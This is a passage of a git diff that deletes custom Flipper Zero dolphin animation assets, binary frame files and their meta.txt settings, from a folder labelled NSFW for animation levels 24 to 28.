a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_20.bm deleted file mode 100644 index b6f29a19d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_21.bm deleted file mode 100644 index 8a7f65041..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_22.bm deleted file mode 100644 index 077d4593d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_23.bm deleted file mode 100644 index a9e7167b3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_24.bm deleted file mode 100644 index 3166132aa..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm deleted file mode 100644 index 71102e3e5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_26.bm deleted file mode 100644 index fc56e812c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm deleted file mode 100644 index ae701d2d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_28.bm deleted file mode 100644 index 88c6b0474..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_29.bm deleted file mode 100644 index 11e54f4f5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm deleted file mode 100644 index 14fc8e0ef..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm deleted file mode 100644 index 54f0529fb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm deleted file mode 100644 index 0074610e4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm deleted file mode 100644 index ed9f19aa3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_7.bm deleted file mode 100644 index 1ceff5f5c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm deleted file mode 100644 index e33678f5b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm deleted file mode 100644 index ab1b1f433..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt deleted file mode 100644 index a29a0ddea..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 30 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm deleted file mode 100644 index f7e8785cf..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm deleted file mode 100644 index c524ae828..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm deleted file mode 100644 index 82a051223..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm deleted file mode 100644 index c0cb636b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_12.bm deleted file mode 100644 index 4e7c2b4e2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_13.bm deleted file mode 100644 index f10f27f98..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_14.bm deleted file mode 100644 index dcf13a0c7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_15.bm deleted file mode 100644 index bf03bf37b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_16.bm deleted file mode 100644 index 2ea72abd5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_17.bm deleted file mode 100644 index 206f30c7a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_18.bm deleted file mode 100644 index 632a9ff67..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_19.bm deleted file mode 100644 index 896c49d81..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_2.bm deleted file mode 100644 index 43aff23a1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_20.bm deleted file mode 100644 index 15d93db98..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_21.bm deleted file mode 100644 index 8a808b9bb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_22.bm deleted file mode 100644 index 5da75c2b1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_23.bm deleted file mode 100644 index c51163913..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_24.bm deleted file mode 100644 index 70ced7961..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_25.bm deleted file mode 100644 index f4b4ded54..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_26.bm deleted file mode 100644 index 06b3eab2f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_27.bm deleted file mode 100644 index 099d3e15f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_28.bm deleted file mode 100644 index 1d21ab495..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_29.bm deleted file mode 100644 index 298078d7f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_3.bm deleted file mode 100644 index 38702b6dc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_30.bm deleted file mode 100644 index ba008f0cc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_31.bm deleted file mode 100644 index 3362b6f91..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_32.bm deleted file mode 100644 index dd9999a22..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_33.bm deleted file mode 100644 index e565fecde..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_34.bm deleted file mode 100644 index a5e5f6883..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_35.bm deleted file mode 100644 index a083310b3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_4.bm deleted file mode 100644 index b4fe610cd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_5.bm deleted file mode 100644 index df92806a4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_6.bm deleted file mode 100644 index b863bc317..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_7.bm deleted file mode 100644 index 8ca962d69..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_8.bm deleted file mode 100644 index 9636747f3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_9.bm deleted file mode 100644 index 876a7f25a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/meta.txt deleted file mode 100644 index 47d4a0191..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_25/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 36 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_0.bm deleted file mode 100644 index a23e91870..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_1.bm deleted file mode 100644 index ee2cae7be..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_10.bm deleted file mode 100644 index 88db1f495..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_11.bm deleted file mode 100644 index 3b4742fd2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_2.bm deleted file mode 100644 index b3204f2e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_3.bm deleted file mode 100644 index 9db151ab9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_4.bm deleted file mode 100644 index 2d0ce5afc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_5.bm deleted file mode 100644 index 7ab2ed4cc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_6.bm deleted file mode 100644 index cb5a3b13f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_7.bm deleted file mode 100644 index ae79e608a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_8.bm deleted file mode 100644 index ab70403af..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm deleted file mode 100644 index 1462a4a4e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt deleted file mode 100644 index d1ce7fc49..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_26/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 12 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm deleted file mode 100644 index 5af232206..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_1.bm deleted file mode 100644 index cb7f3e080..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_10.bm deleted file mode 100644 index 1c49b277b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_11.bm deleted file mode 100644 index c0fe14243..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_12.bm deleted file mode 100644 index b95ffee9b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_13.bm deleted file mode 100644 index 845cec029..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm deleted file mode 100644 index a41b9be45..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm deleted file mode 100644 index 27a319a94..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_16.bm deleted file mode 100644 index b79c62204..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm deleted file mode 100644 index 74970d537..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_18.bm deleted file mode 100644 index 0ef5d1374..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm deleted file mode 100644 index 1cf2a31b2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm deleted file mode 100644 index cdde1b49d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm deleted file mode 100644 index f2a6069e5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_21.bm deleted file mode 100644 index e62a5f863..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_3.bm deleted file mode 100644 index e92c159d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_4.bm deleted file mode 100644 index 288bc8de0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm deleted file mode 100644 index fd6ae7a9b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_6.bm deleted file mode 100644 index 9989aee9e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_7.bm deleted file mode 100644 index c5dc8b545..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_8.bm deleted file mode 100644 index 83d04e6a2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_9.bm deleted file mode 100644 index 3e861d000..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/meta.txt deleted file mode 100644 index 8e51d5271..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_27/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_0.bm deleted file mode 100644 index d78d43ee2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_1.bm deleted file mode 100644 index 4c1836f47..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm deleted file mode 100644 index 7c381e079..000000000 Binary files 